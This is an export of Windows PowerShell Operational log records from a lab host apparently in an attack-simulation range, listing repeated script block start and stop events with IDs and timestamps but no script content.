ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032557
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032556
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032555
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032554
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032538
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032537
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032532
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032531
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032509
Keywords=None
